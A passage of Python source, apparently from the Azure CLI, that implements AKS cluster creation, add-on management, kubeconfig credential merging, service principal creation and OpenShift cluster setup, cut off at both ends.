ssh=ssh_config) principal_obj = _ensure_aks_service_principal(cmd.cli_ctx, service_principal=service_principal, client_secret=client_secret, subscription_id=subscription_id, dns_name_prefix=dns_name_prefix, location=location, name=name) service_principal_profile = ContainerServiceServicePrincipalProfile( client_id=principal_obj.get("service_principal"), secret=principal_obj.get("client_secret"), key_vault_secret_ref=None) if (vnet_subnet_id and not skip_subnet_role_assignment and not subnet_role_assignment_exists(cmd.cli_ctx, vnet_subnet_id)): scope = vnet_subnet_id if not _add_role_assignment(cmd.cli_ctx, 'Network Contributor', service_principal_profile.client_id, scope=scope): logger.warning('Could not create a role assignment for subnet. ' 'Are you an Owner on this subscription?') network_profile = None if any([pod_cidr, service_cidr, dns_service_ip, docker_bridge_address, network_policy]): if not network_plugin: raise CLIError('Please explicitly specify the network plugin type') if pod_cidr and network_plugin == "azure": raise CLIError('Please use kubenet as the network plugin type when pod_cidr is specified') network_profile = ContainerServiceNetworkProfile( network_plugin=network_plugin, pod_cidr=pod_cidr, service_cidr=service_cidr, dns_service_ip=dns_service_ip, docker_bridge_cidr=docker_bridge_address, network_policy=network_policy ) addon_profiles = _handle_addons_args( cmd, enable_addons, subscription_id, resource_group_name, {}, workspace_resource_id ) monitoring = False if 'omsagent' in addon_profiles: monitoring = True _ensure_container_insights_for_monitoring(cmd, addon_profiles['omsagent']) aad_profile = None if any([aad_client_app_id, aad_server_app_id, aad_server_app_secret, aad_tenant_id]): if aad_tenant_id is None: profile = Profile(cli_ctx=cmd.cli_ctx) _, _, aad_tenant_id = profile.get_login_credentials() aad_profile = ManagedClusterAADProfile( client_app_id=aad_client_app_id, server_app_id=aad_server_app_id, server_app_secret=aad_server_app_secret, tenant_id=aad_tenant_id ) # Check that both --disable-rbac and --enable-rbac weren't provided if all([disable_rbac, enable_rbac]): raise CLIError('specify either "--disable-rbac" or "--enable-rbac", not both.') mc = ManagedCluster( location=location, tags=tags, dns_prefix=dns_name_prefix, kubernetes_version=kubernetes_version, enable_rbac=False if disable_rbac else True, agent_pool_profiles=[agent_pool_profile], linux_profile=linux_profile, service_principal_profile=service_principal_profile, network_profile=network_profile, addon_profiles=addon_profiles, aad_profile=aad_profile) # Due to SPN replication latency, we do a few retries here max_retry = 30 retry_exception = Exception(None) for _ in range(0, max_retry): try: result = sdk_no_wait(no_wait, client.create_or_update, resource_group_name=resource_group_name, resource_name=name, parameters=mc) # add cluster spn with Monitoring Metrics Publisher role assignment to the cluster resource # mdm metrics supported only in azure public cloud so add the role assignment only in this cloud cloud_name = cmd.cli_ctx.cloud.name if cloud_name.lower() == 'azurecloud' and monitoring: from msrestazure.tools import resource_id cluster_resource_id = resource_id( subscription=subscription_id, resource_group=resource_group_name, namespace='Microsoft.ContainerService', type='managedClusters', name=name ) if not _add_role_assignment(cmd.cli_ctx, 'Monitoring Metrics Publisher', service_principal_profile.client_id, scope=cluster_resource_id): logger.warning('Could not create a role assignment for monitoring addon. ' 'Are you an Owner on this subscription?') return result except CloudError as ex: retry_exception = ex if 'not found in Active Directory tenant' in ex.message: time.sleep(3) else: raise ex raise retry_exception def aks_disable_addons(cmd, client, resource_group_name, name, addons, no_wait=False): instance = client.get(resource_group_name, name) subscription_id = _get_subscription_id(cmd.cli_ctx) instance = _update_addons( cmd, instance, subscription_id, resource_group_name, addons, enable=False, no_wait=no_wait ) # send the managed cluster representation to update the addon profiles return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def aks_enable_addons(cmd, client, resource_group_name, name, addons, workspace_resource_id=None, subnet_name=None, no_wait=False): instance = client.get(resource_group_name, name) subscription_id = _get_subscription_id(cmd.cli_ctx) service_principal_client_id = instance.service_principal_profile.client_id instance = _update_addons(cmd, instance, subscription_id, resource_group_name, addons, enable=True, workspace_resource_id=workspace_resource_id, subnet_name=subnet_name, no_wait=no_wait) if 'omsagent' in instance.addon_profiles: _ensure_container_insights_for_monitoring(cmd, instance.addon_profiles['omsagent']) cloud_name = cmd.cli_ctx.cloud.name # mdm metrics supported only in Azure Public cloud so add the role assignment only in this cloud if cloud_name.lower() == 'azurecloud': from msrestazure.tools import resource_id cluster_resource_id = resource_id( subscription=subscription_id, resource_group=resource_group_name, namespace='Microsoft.ContainerService', type='managedClusters', name=name ) if not _add_role_assignment(cmd.cli_ctx, 'Monitoring Metrics Publisher', service_principal_client_id, scope=cluster_resource_id): logger.warning('Could not create a role assignment for Monitoring addon. ' 'Are you an Owner on this subscription?') # send the managed cluster representation to update the addon profiles return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def aks_get_versions(cmd, client, location): return client.list_orchestrators(location, resource_type='managedClusters') def aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=os.path.join(os.path.expanduser('~'), '.kube', 'config'), overwrite_existing=False): credentialResults = None if admin: credentialResults = client.list_cluster_admin_credentials(resource_group_name, name) else: credentialResults = client.list_cluster_user_credentials(resource_group_name, name) if not credentialResults: raise CLIError("No Kubernetes credentials found.") else: try: kubeconfig = credentialResults.kubeconfigs[0].value.decode(encoding='UTF-8') _print_or_merge_credentials(path, kubeconfig, overwrite_existing) except (IndexError, ValueError): raise CLIError("Fail to find kubeconfig file.") ADDONS = { 'http_application_routing': 'httpApplicationRouting', 'monitoring': 'omsagent', 'virtual-node': 'aciConnector' } def aks_list(cmd, client, resource_group_name=None): if resource_group_name: managed_clusters = client.list_by_resource_group(resource_group_name) else: managed_clusters = client.list() return _remove_nulls(list(managed_clusters)) def aks_show(cmd, client, resource_group_name, name): mc = client.get(resource_group_name, name) return _remove_nulls([mc])[0] def aks_update_credentials(cmd, client, resource_group_name, name, reset_service_principal=False, reset_aad=False, service_principal=None, client_secret=None, aad_server_app_id=None, aad_server_app_secret=None, aad_client_app_id=None, aad_tenant_id=None, no_wait=False): if bool(reset_service_principal) == bool(reset_aad): raise CLIError('usage error: --reset-service-principal | --reset-aad-profile') if reset_service_principal: if service_principal is None or client_secret is None: raise CLIError('usage error: --reset-service-principal --service-principal ID --client-secret SECRET') return sdk_no_wait(no_wait, client.reset_service_principal_profile, resource_group_name, name, service_principal, client_secret) if not all([aad_client_app_id, aad_server_app_id, aad_server_app_secret]): raise CLIError('usage error: --reset-aad --aad-client-app-id ID --aad-server-app-id ID ' '--aad-server-app-secret SECRET [--aad-tenant-id ID]') parameters = { 'clientAppID': aad_client_app_id, 'serverAppID': aad_server_app_id, 'serverAppSecret': aad_server_app_secret, 'tenantID': aad_tenant_id } return sdk_no_wait(no_wait, client.reset_aad_profile, resource_group_name, name, parameters) def aks_scale(cmd, client, resource_group_name, name, node_count, nodepool_name="", no_wait=False): instance = client.get(resource_group_name, name) # TODO: change this approach when we support multiple agent pools. for agent_profile in instance.agent_pool_profiles: if agent_profile.name == nodepool_name or (nodepool_name == "" and len(instance.agent_pool_profiles) == 1): agent_profile.count = int(node_count) # pylint: disable=no-member # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) raise CLIError('The nodepool "{}" was not found.'.format(nodepool_name)) def aks_upgrade(cmd, client, resource_group_name, name, kubernetes_version, no_wait=False, **kwargs): # pylint: disable=unused-argument instance = client.get(resource_group_name, name) if instance.kubernetes_version == kubernetes_version: if instance.provisioning_state == "Succeeded": logger.warning("The cluster is already on version %s and is not in a failed state. No operations " "will occur when upgrading to the same version if the cluster is not in a failed state.", instance.kubernetes_version) elif instance.provisioning_state == "Failed": logger.warning("Cluster currently in failed state. Proceeding with upgrade to existing version %s to " "attempt resolution of failed cluster state.", instance.kubernetes_version) instance.kubernetes_version = kubernetes_version # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) DEV_SPACES_EXTENSION_NAME = 'dev-spaces-preview' DEV_SPACES_EXTENSION_MODULE = 'azext_dev_spaces_preview.custom' def aks_use_dev_spaces(cmd, client, name, resource_group_name, update=False, space_name=None, prompt=False): """ Use Azure Dev Spaces with a managed Kubernetes cluster. :param name: Name of the managed cluster. :type name: String :param resource_group_name: Name of resource group. You can configure the default group. \ Using 'az configure --defaults group=<name>'. :type resource_group_name: String :param update: Update to the latest Azure Dev Spaces client components. :type update: bool :param space_name: Name of the new or existing dev space to select. Defaults to an interactive selection experience. :type space_name: String :param prompt: Do not prompt for confirmation. Requires --space. :type prompt: bool """ if _get_or_add_extension(DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE, update): azext_custom = _get_azext_module(DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE) try: azext_custom.ads_use_dev_spaces(name, resource_group_name, update, space_name, prompt) except TypeError: raise CLIError("Use '--update' option to get the latest Azure Dev Spaces client components.") except AttributeError as ae: raise CLIError(ae) def aks_remove_dev_spaces(cmd, client, name, resource_group_name, prompt=False): """ Remove Azure Dev Spaces from a managed Kubernetes cluster. :param name: Name of the managed cluster. :type name: String :param resource_group_name: Name of resource group. You can configure the default group. \ Using 'az configure --defaults group=<name>'. :type resource_group_name: String :param prompt: Do not prompt for confirmation. :type prompt: bool """ if _get_or_add_extension(DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE): azext_custom = _get_azext_module(DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE) try: azext_custom.ads_remove_dev_spaces(name, resource_group_name, prompt) except AttributeError as ae: raise CLIError(ae) def _update_addons(cmd, instance, subscription_id, resource_group_name, addons, enable, workspace_resource_id=None, subnet_name=None, no_wait=False): # parse the comma-separated addons argument addon_args = addons.split(',') addon_profiles = instance.addon_profiles or {} os_type = 'Linux' # for each addons argument for addon_arg in addon_args: addon = ADDONS[addon_arg] if addon == 'aciConnector': # only linux is supported for now, in the future this will be a user flag addon += os_type # addon name is case insensitive addon = next((x for x in addon_profiles.keys() if x.lower() == addon.lower()), addon) if enable: # add new addons or update existing ones and enable them addon_profile = addon_profiles.get(addon, ManagedClusterAddonProfile(enabled=False)) # special config handling for certain addons if addon == 'omsagent': if addon_profile.enabled: raise CLIError('The monitoring addon is already enabled for this managed cluster.\n' 'To change monitoring configuration, run "az aks disable-addons -a monitoring"' 'before enabling it again.') if not workspace_resource_id: workspace_resource_id = _ensure_default_log_analytics_workspace_for_monitoring( cmd, subscription_id, resource_group_name) workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') addon_profile.config = {'logAnalyticsWorkspaceResourceID': workspace_resource_id} elif addon.lower() == ('aciConnector' + os_type).lower(): if addon_profile.enabled: raise CLIError('The virtual-node addon is already enabled for this managed cluster.\n' 'To change virtual-node configuration, run ' '"az aks disable-addons -a virtual-node -g {resource_group_name}" ' 'before enabling it again.') if not subnet_name: raise CLIError('The aci-connector addon requires setting a subnet name.') addon_profile.config = {'SubnetName': subnet_name} addon_profiles[addon] = addon_profile else: if addon not in addon_profiles: raise CLIError("The addon {} is not installed.".format(addon)) addon_profiles[addon].config = None addon_profiles[addon].enabled = enable instance.addon_profiles = addon_profiles # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return instance def _get_azext_module(extension_name, module_name): try: # Adding the installed extension in the path from azure.cli.core.extension.operations import add_extension_to_path add_extension_to_path(extension_name) # Import the extension module from importlib import import_module azext_custom = import_module(module_name) return azext_custom except ImportError as ie: raise CLIError(ie) def _handle_addons_args(cmd, addons_str, subscription_id, resource_group_name, addon_profiles=None, workspace_resource_id=None): if not addon_profiles: addon_profiles = {} addons = addons_str.split(',') if addons_str else [] if 'http_application_routing' in addons: addon_profiles['httpApplicationRouting'] = ManagedClusterAddonProfile(enabled=True) addons.remove('http_application_routing') # TODO: can we help the user find a workspace resource ID? if 'monitoring' in addons: if not workspace_resource_id: # use default workspace if exists else create default workspace workspace_resource_id = _ensure_default_log_analytics_workspace_for_monitoring( cmd, subscription_id, resource_group_name) workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') addon_profiles['omsagent'] = ManagedClusterAddonProfile( enabled=True, config={'logAnalyticsWorkspaceResourceID': workspace_resource_id}) addons.remove('monitoring') # error out if '--enable-addons=monitoring' isn't set but workspace_resource_id is elif workspace_resource_id: raise CLIError('"--workspace-resource-id" requires "--enable-addons monitoring".') # error out if any (unrecognized) addons remain if addons: raise CLIError('"{}" {} not recognized by the --enable-addons argument.'.format( ",".join(addons), "are" if len(addons) > 1 else "is")) return addon_profiles def _install_dev_spaces_extension(extension_name): try: from azure.cli.core.extension import operations operations.add_extension(extension_name=extension_name) except Exception: # nopa pylint: disable=broad-except return False return True def _update_dev_spaces_extension(extension_name, extension_module): from azure.cli.core.extension import ExtensionNotInstalledException try: from azure.cli.core.extension import operations operations.update_extension(extension_name=extension_name) operations.reload_extension(extension_name=extension_name) except CLIError as err: logger.info(err) except ExtensionNotInstalledException as err: logger.debug(err) return False except ModuleNotFoundError as err: logger.debug(err) logger.error("Error occurred attempting to load the extension module. Use --debug for more information.") return False return True def _get_or_add_extension(extension_name, extension_module, update=False): from azure.cli.core.extension import (ExtensionNotInstalledException, get_extension) try: get_extension(extension_name) if update: return _update_dev_spaces_extension(extension_name, extension_module) except ExtensionNotInstalledException: return _install_dev_spaces_extension(extension_name) return True def _ensure_default_log_analytics_workspace_for_monitoring(cmd, subscription_id, resource_group_name): # mapping for azure public cloud # log analytics workspaces cannot be created in WCUS region due to capacity limits # so mapped to EUS per discussion with log analytics team AzureCloudLocationToOmsRegionCodeMap = { "eastus": "EUS", "westeurope": "WEU", "southeastasia": "SEA", "australiasoutheast": "ASE", "usgovvirginia": "USGV", "westcentralus": "EUS", "japaneast": "EJP", "uksouth": "SUK", "canadacentral": "CCA", "centralindia": "CIN", "eastus2euap": "EAP" } AzureCloudRegionToOmsRegionMap = { "australiaeast": "australiasoutheast", "australiasoutheast": "australiasoutheast", "brazilsouth": "eastus", "canadacentral": "canadacentral", "canadaeast": "canadacentral", "centralus": "eastus", "eastasia": "southeastasia", "eastus": "eastus", "eastus2": "eastus", "japaneast": "japaneast", "japanwest": "japaneast", "northcentralus": "eastus", "northeurope": "westeurope", "southcentralus": "eastus", "southeastasia": "southeastasia", "uksouth": "uksouth", "ukwest": "uksouth", "westcentralus": "eastus", "westeurope": "westeurope", "westus": "eastus", "westus2": "eastus", "centralindia": "centralindia", "southindia": "centralindia", "westindia": "centralindia", "koreacentral": "southeastasia", "koreasouth": "southeastasia", "francecentral": "westeurope", "francesouth": "westeurope" } # mapping for azure china cloud # currently log analytics supported only China East 2 region AzureChinaLocationToOmsRegionCodeMap = { "chinaeast": "EAST2", "chinaeast2": "EAST2", "chinanorth": "EAST2", "chinanorth2": "EAST2" } AzureChinaRegionToOmsRegionMap = { "chinaeast": "chinaeast2", "chinaeast2": "chinaeast2", "chinanorth": "chinaeast2", "chinanorth2": "chinaeast2" } rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) default_region_name = "eastus" default_region_code = "EUS" workspace_region = default_region_name workspace_region_code = default_region_code cloud_name = cmd.cli_ctx.cloud.name if cloud_name.lower() == 'azurecloud': workspace_region = AzureCloudRegionToOmsRegionMap[ rg_location] if AzureCloudRegionToOmsRegionMap[rg_location] else default_region_name workspace_region_code = AzureCloudLocationToOmsRegionCodeMap[ workspace_region] if AzureCloudLocationToOmsRegionCodeMap[workspace_region] else default_region_code elif cloud_name.lower() == 'azurechinacloud': default_region_name = "chinaeast2" default_region_code = "EAST2" workspace_region = AzureChinaRegionToOmsRegionMap[ rg_location] if AzureChinaRegionToOmsRegionMap[rg_location] else default_region_name workspace_region_code = AzureChinaLocationToOmsRegionCodeMap[ workspace_region] if AzureChinaLocationToOmsRegionCodeMap[workspace_region] else default_region_code else: logger.error("AKS Monitoring addon not supported in cloud : %s", cloud_name) default_workspace_resource_group = 'DefaultResourceGroup-' + workspace_region_code default_workspace_name = 'DefaultWorkspace-{0}-{1}'.format(subscription_id, workspace_region_code) default_workspace_resource_id = '/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.OperationalInsights' \ '/workspaces/{2}'.format(subscription_id, default_workspace_resource_group, default_workspace_name) resource_groups = cf_resource_groups(cmd.cli_ctx, subscription_id) resources = cf_resources(cmd.cli_ctx, subscription_id) # check if default RG exists if resource_groups.check_existence(default_workspace_resource_group): try: resource = resources.get_by_id(default_workspace_resource_id, '2015-11-01-preview') return resource.id except CloudError as ex: if ex.status_code != 404: raise ex else: resource_groups.create_or_update(default_workspace_resource_group, {'location': workspace_region}) default_workspace_params = { 'location': workspace_region, 'properties': { 'sku': { 'name': 'standalone' } } } async_poller = resources.create_or_update_by_id(default_workspace_resource_id, '2015-11-01-preview', default_workspace_params) ws_resource_id = '' while True: result = async_poller.result(15) if async_poller.done(): ws_resource_id = result.id break return ws_resource_id def _ensure_container_insights_for_monitoring(cmd, addon): # Workaround for this addon key which has been seen lowercased in the wild. if 'loganalyticsworkspaceresourceid' in addon.config: addon.config['logAnalyticsWorkspaceResourceID'] = addon.config.pop('loganalyticsworkspaceresourceid') workspace_resource_id = addon.config['logAnalyticsWorkspaceResourceID'] workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') # extract subscription ID and resource group from workspace_resource_id URL try: subscription_id = workspace_resource_id.split('/')[2] resource_group = workspace_resource_id.split('/')[4] except IndexError: raise CLIError('Could not locate resource group in workspace-resource-id URL.') # region of workspace can be different from region of RG so find the location of the workspace_resource_id resources = cf_resources(cmd.cli_ctx, subscription_id) try: resource = resources.get_by_id(workspace_resource_id, '2015-11-01-preview') location = resource.location except CloudError as ex: raise ex unix_time_in_millis = int( (datetime.datetime.utcnow() - datetime.datetime.utcfromtimestamp(0)).total_seconds() * 1000.0) solution_deployment_name = 'ContainerInsights-{}'.format(unix_time_in_millis) # pylint: disable=line-too-long template = { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } }, "workspaceRegion": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics workspace region" } }, "solutionDeploymentName": { "type": "string", "metadata": { "description": "Name of the solution deployment" } } }, "resources": [ { "type": "Microsoft.Resources/deployments", "name": "[parameters('solutionDeploymentName')]", "apiVersion": "2017-05-10", "subscriptionId": "[split(parameters('workspaceResourceId'),'/')[2]]", "resourceGroup": "[split(parameters('workspaceResourceId'),'/')[4]]", "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "apiVersion": "2015-11-01-preview", "type": "Microsoft.OperationsManagement/solutions", "location": "[parameters('workspaceRegion')]", "name": "[Concat('ContainerInsights', '(', split(parameters('workspaceResourceId'),'/')[8], ')')]", "properties": { "workspaceResourceId": "[parameters('workspaceResourceId')]" }, "plan": { "name": "[Concat('ContainerInsights', '(', split(parameters('workspaceResourceId'),'/')[8], ')')]", "product": "[Concat('OMSGallery/', 'ContainerInsights')]", "promotionCode": "", "publisher": "Microsoft" } } ] }, "parameters": {} } } ] } params = { "workspaceResourceId": { "value": workspace_resource_id }, "workspaceRegion": { "value": location }, "solutionDeploymentName": { "value": solution_deployment_name } } deployment_name = 'aks-monitoring-{}'.format(unix_time_in_millis) # publish the Container Insights solution to the Log Analytics workspace return _invoke_deployment(cmd.cli_ctx, resource_group, deployment_name, template, params, validate=False, no_wait=False, subscription_id=subscription_id) def _ensure_aks_service_principal(cli_ctx, service_principal=None, client_secret=None, subscription_id=None, dns_name_prefix=None, location=None, name=None): file_name_aks = 'aksServicePrincipal.json' # TODO: This really needs to be unit tested. rbac_client = get_graph_rbac_management_client(cli_ctx) if not service_principal: # --service-principal not specified, try to load it from local disk principal_obj = load_acs_service_principal(subscription_id, file_name=file_name_aks) if principal_obj: service_principal = principal_obj.get('service_principal') client_secret = principal_obj.get('client_secret') else: # Nothing to load, make one. if not client_secret: client_secret = _create_client_secret() salt = binascii.b2a_hex(os.urandom(3)).decode('utf-8') url = 'https://{}.{}.{}.cloudapp.azure.com'.format(salt, dns_name_prefix, location) service_principal = _build_service_principal(rbac_client, cli_ctx, name, url, client_secret) if not service_principal: raise CLIError('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') logger.info('Created a service principal: %s', service_principal) # We don't need to add role assignment for this created SPN else: # --service-principal specfied, validate --client-secret was too if not client_secret: raise CLIError('--client-secret is required if --service-principal is specified') store_acs_service_principal(subscription_id, client_secret, service_principal, file_name=file_name_aks) return load_acs_service_principal(subscription_id, file_name=file_name_aks) def _ensure_osa_aad(cli_ctx, aad_client_app_id=None, aad_client_app_secret=None, aad_tenant_id=None, identifier=None, name=None, update=False): rbac_client = get_graph_rbac_management_client(cli_ctx) if not aad_client_app_id: if not aad_client_app_secret and update: aad_client_app_secret = _create_client_secret() reply_url = 'https://{}/oauth2callback/Azure%20AD'.format(identifier) # Delegate Sign In and Read User Profile permissions on Windows Azure Active Directory API resource_access = ResourceAccess(id="311a71cc-e848-46a1-bdf8-97ff7156d8e6", additional_properties=None, type="Scope") required_osa_aad_access = RequiredResourceAccess(resource_access=[resource_access], additional_properties=None, resource_app_id="00000002-0000-0000-c000-000000000000") list_aad_filtered = list(rbac_client.applications.list(filter="identifierUris/any(s:s eq '{}')" .format(reply_url))) if update: if list_aad_filtered: update_application(client=rbac_client.applications, object_id=list_aad_filtered[0].object_id, display_name=identifier, identifier_uris=[reply_url], reply_urls=[reply_url], homepage=reply_url, password=aad_client_app_secret, required_resource_accesses=[required_osa_aad_access]) aad_client_app_id = list_aad_filtered[0].app_id logger.info('Updated AAD: %s', aad_client_app_id) else: result = create_application(client=rbac_client.applications, display_name=identifier, identifier_uris=[reply_url], reply_urls=[reply_url], homepage=reply_url, password=aad_client_app_secret, required_resource_accesses=[required_osa_aad_access]) aad_client_app_id = result.app_id logger.info('Created an AAD: %s', aad_client_app_id) else: aad_client_app_id = list_aad_filtered[0].app_id aad_client_app_secret = 'whatever' # Get the TenantID if aad_tenant_id is None: profile = Profile(cli_ctx=cli_ctx) _, _, aad_tenant_id = profile.get_login_credentials() return OpenShiftManagedClusterAADIdentityProvider( client_id=aad_client_app_id, secret=aad_client_app_secret, tenant_id=aad_tenant_id, kind='AADIdentityProvider') def _ensure_service_principal(cli_ctx, service_principal=None, client_secret=None, subscription_id=None, dns_name_prefix=None, location=None, name=None): # TODO: This really needs to be unit tested. rbac_client = get_graph_rbac_management_client(cli_ctx) if not service_principal: # --service-principal not specified, try to load it from local disk principal_obj = load_acs_service_principal(subscription_id) if principal_obj: service_principal = principal_obj.get('service_principal') client_secret = principal_obj.get('client_secret') else: # Nothing to load, make one. if not client_secret: client_secret = _create_client_secret() salt = binascii.b2a_hex(os.urandom(3)).decode('utf-8') url = 'https://{}.{}.{}.cloudapp.azure.com'.format(salt, dns_name_prefix, location) service_principal = _build_service_principal(rbac_client, cli_ctx, name, url, client_secret) if not service_principal: raise CLIError('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') logger.info('Created a service principal: %s', service_principal) # add role first before save it if not _add_role_assignment(cli_ctx, 'Contributor', service_principal): logger.warning('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') else: # --service-principal specfied, validate --client-secret was too if not client_secret: raise CLIError('--client-secret is required if --service-principal is specified') store_acs_service_principal(subscription_id, client_secret, service_principal) return load_acs_service_principal(subscription_id) def _create_client_secret(): # Add a special character to satsify AAD SP secret requirements special_chars = '!#$%&*-+_.:;<>=?@][^}{|~)(' special_char = special_chars[ord(os.urandom(1)) % len(special_chars)] client_secret = binascii.b2a_hex(os.urandom(10)).decode('utf-8') + special_char return client_secret def _get_rg_location(ctx, resource_group_name, subscription_id=None): groups = cf_resource_groups(ctx, subscription_id=subscription_id) # Just do the get, we don't need the result, it will error out if the group doesn't exist. rg = groups.get(resource_group_name) return rg.location def _print_or_merge_credentials(path, kubeconfig, overwrite_existing): """Merge an unencrypted kubeconfig into the file at the specified path, or print it to stdout if the path is "-". """ # Special case for printing to stdout if path == "-": print(kubeconfig) return # ensure that at least an empty ~/.kube/config exists directory = os.path.dirname(path) if directory and not os.path.exists(directory): try: os.makedirs(directory) except OSError as ex: if ex.errno != errno.EEXIST: raise if not os.path.exists(path): with os.fdopen(os.open(path, os.O_CREAT | os.O_WRONLY, 0o600), 'wt'): pass # merge the new kubeconfig into the existing one fd, temp_path = tempfile.mkstemp() additional_file = os.fdopen(fd, 'w+t') try: additional_file.write(kubeconfig) additional_file.flush() merge_kubernetes_configurations(path, temp_path, overwrite_existing) except yaml.YAMLError as ex: logger.warning('Failed to merge credentials to kube config file: %s', ex) finally: additional_file.close() os.remove(temp_path) def _remove_nulls(managed_clusters): """ Remove some often-empty fields from a list of ManagedClusters, so the JSON representation doesn't contain distracting null fields. This works around a quirk of the SDK for python behavior. These fields are not sent by the server, but get recreated by the CLI's own "to_dict" serialization. """ attrs = ['tags'] ap_attrs = ['os_disk_size_gb', 'vnet_subnet_id'] sp_attrs = ['secret'] for managed_cluster in managed_clusters: for attr in attrs: if getattr(managed_cluster, attr, None) is None: delattr(managed_cluster, attr) for ap_profile in managed_cluster.agent_pool_profiles: for attr in ap_attrs: if getattr(ap_profile, attr, None) is None: delattr(ap_profile, attr) for attr in sp_attrs: if getattr(managed_cluster.service_principal_profile, attr, None) is None: delattr(managed_cluster.service_principal_profile, attr) return managed_clusters def _remove_osa_nulls(managed_clusters): """ Remove some often-empty fields from a list of OpenShift ManagedClusters, so the JSON representation doesn't contain distracting null fields. This works around a quirk of the SDK for python behavior. These fields are not sent by the server, but get recreated by the CLI's own "to_dict" serialization. """ attrs = ['tags', 'public_hostname', 'plan', 'type', 'id'] ap_master_attrs = ['name', 'os_type'] net_attrs = ['peer_vnet_id'] for managed_cluster in managed_clusters: for attr in attrs: if getattr(managed_cluster, attr, None) is None: delattr(managed_cluster, attr) for attr in ap_master_attrs: if getattr(managed_cluster.master_pool_profile, attr, None) is None: delattr(managed_cluster.master_pool_profile, attr) for attr in net_attrs: if getattr(managed_cluster.network_profile, attr, None) is None: delattr(managed_cluster.network_profile, attr) return managed_clusters def _validate_aci_location(norm_location): """ Validate the Azure Container Instance location """ aci_locations = [ "australiaeast", "canadacentral", "centralindia", "centralus", "eastasia", "eastus", "eastus2", "eastus2euap", "japaneast", "northcentralus", "northeurope", "southcentralus", "southeastasia", "southindia", "uksouth", "westcentralus", "westus", "westus2", "westeurope" ] if norm_location not in aci_locations: raise CLIError('Azure Container Instance is not available at location "{}".'.format(norm_location) + ' The available locations are "{}"'.format(','.join(aci_locations))) def osa_list(cmd, client, resource_group_name=None): if resource_group_name: managed_clusters = client.list_by_resource_group(resource_group_name) else: managed_clusters = client.list() return _remove_osa_nulls(list(managed_clusters)) def openshift_create(cmd, client, resource_group_name, name, # pylint: disable=too-many-locals fqdn, location=None, compute_vm_size="Standard_D4s_v3", compute_count=3, aad_client_app_id=None, aad_client_app_secret=None, aad_tenant_id=None, vnet_prefix="10.0.0.0/8", subnet_prefix="10.0.0.0/24", vnet_peer=None, tags=None, no_wait=False): if location is None: location = _get_rg_location(cmd.cli_ctx, resource_group_name) agent_pool_profiles = [] agent_node_pool_profile = OpenShiftManagedClusterAgentPoolProfile( name='compute', # Must be 12 chars or less before ACS RP adds to it count=int(compute_count), vm_size=compute_vm_size, os_type="Linux", role=OpenShiftAgentPoolProfileRole.compute, subnet_cidr=subnet_prefix ) agent_infra_pool_profile = OpenShiftManagedClusterAgentPoolProfile( name='infra', # Must be 12 chars or less before ACS RP adds to it count=int(2), vm_size="Standard_D4s_v3", os_type="Linux", role=OpenShiftAgentPoolProfileRole.infra, subnet_cidr=subnet_prefix ) agent_pool_profiles.append(agent_node_pool_profile) agent_pool_profiles.append(agent_infra_pool_profile) agent_master_pool_profile = OpenShiftManagedClusterAgentPoolProfile( name='master', # Must be 12 chars or less before ACS RP adds to it count=int(3), vm_size="Standard_D4s_v3", os_type="Linux", subnet_cidr=subnet_prefix ) identity_providers = [] # Validating if the cluster is not existing since we are not supporting the AAD rotation on OSA for now update_aad_secret = False try: client.get(resource_group_name, name) except CloudError: update_aad_secret = True osa_aad_identity = _ensure_osa_aad(cmd.cli_ctx, aad_client_app_id=aad_client_app_id, aad_client_app_secret=aad_client_app_secret, aad_tenant_id=aad_tenant_id, identifier=fqdn, name=name, update=update_aad_secret) identity_providers.append( OpenShiftManagedClusterIdentityProvider( name='Azure AD', provider=osa_aad_identity ) ) auth_profile = OpenShiftManagedClusterAuthProfile(identity_providers=identity_providers) default_router_profile = OpenShiftRouterProfile(name='default') if vnet_peer is not None: from azure.cli.core.commands.client_factory import get_subscription_id from msrestazure.tools import is_valid_resource_id, resource_id if not is_valid_resource_id(vnet_peer): vnet_peer = resource_id( subscription=get_subscription_id(cmd.cli_ctx), resource_group=resource_group_name, namespace='Microsoft.Network', type='virtualNetwork', name=vnet_peer ) network_profile = NetworkProfile(vnet_cidr=vnet_prefix, peer_vnet_id=vnet_peer) osamc = OpenShiftManagedCluster( location=location, tags=tags, open_shift_version="v3.11", fqdn=fqdn, network_profile=network_profile, auth_profile=auth_profile, agent_pool_profiles=agent_pool_profiles, master_pool_profile=agent_master_pool_profile, router_profiles=[default_router_profile]) try: # 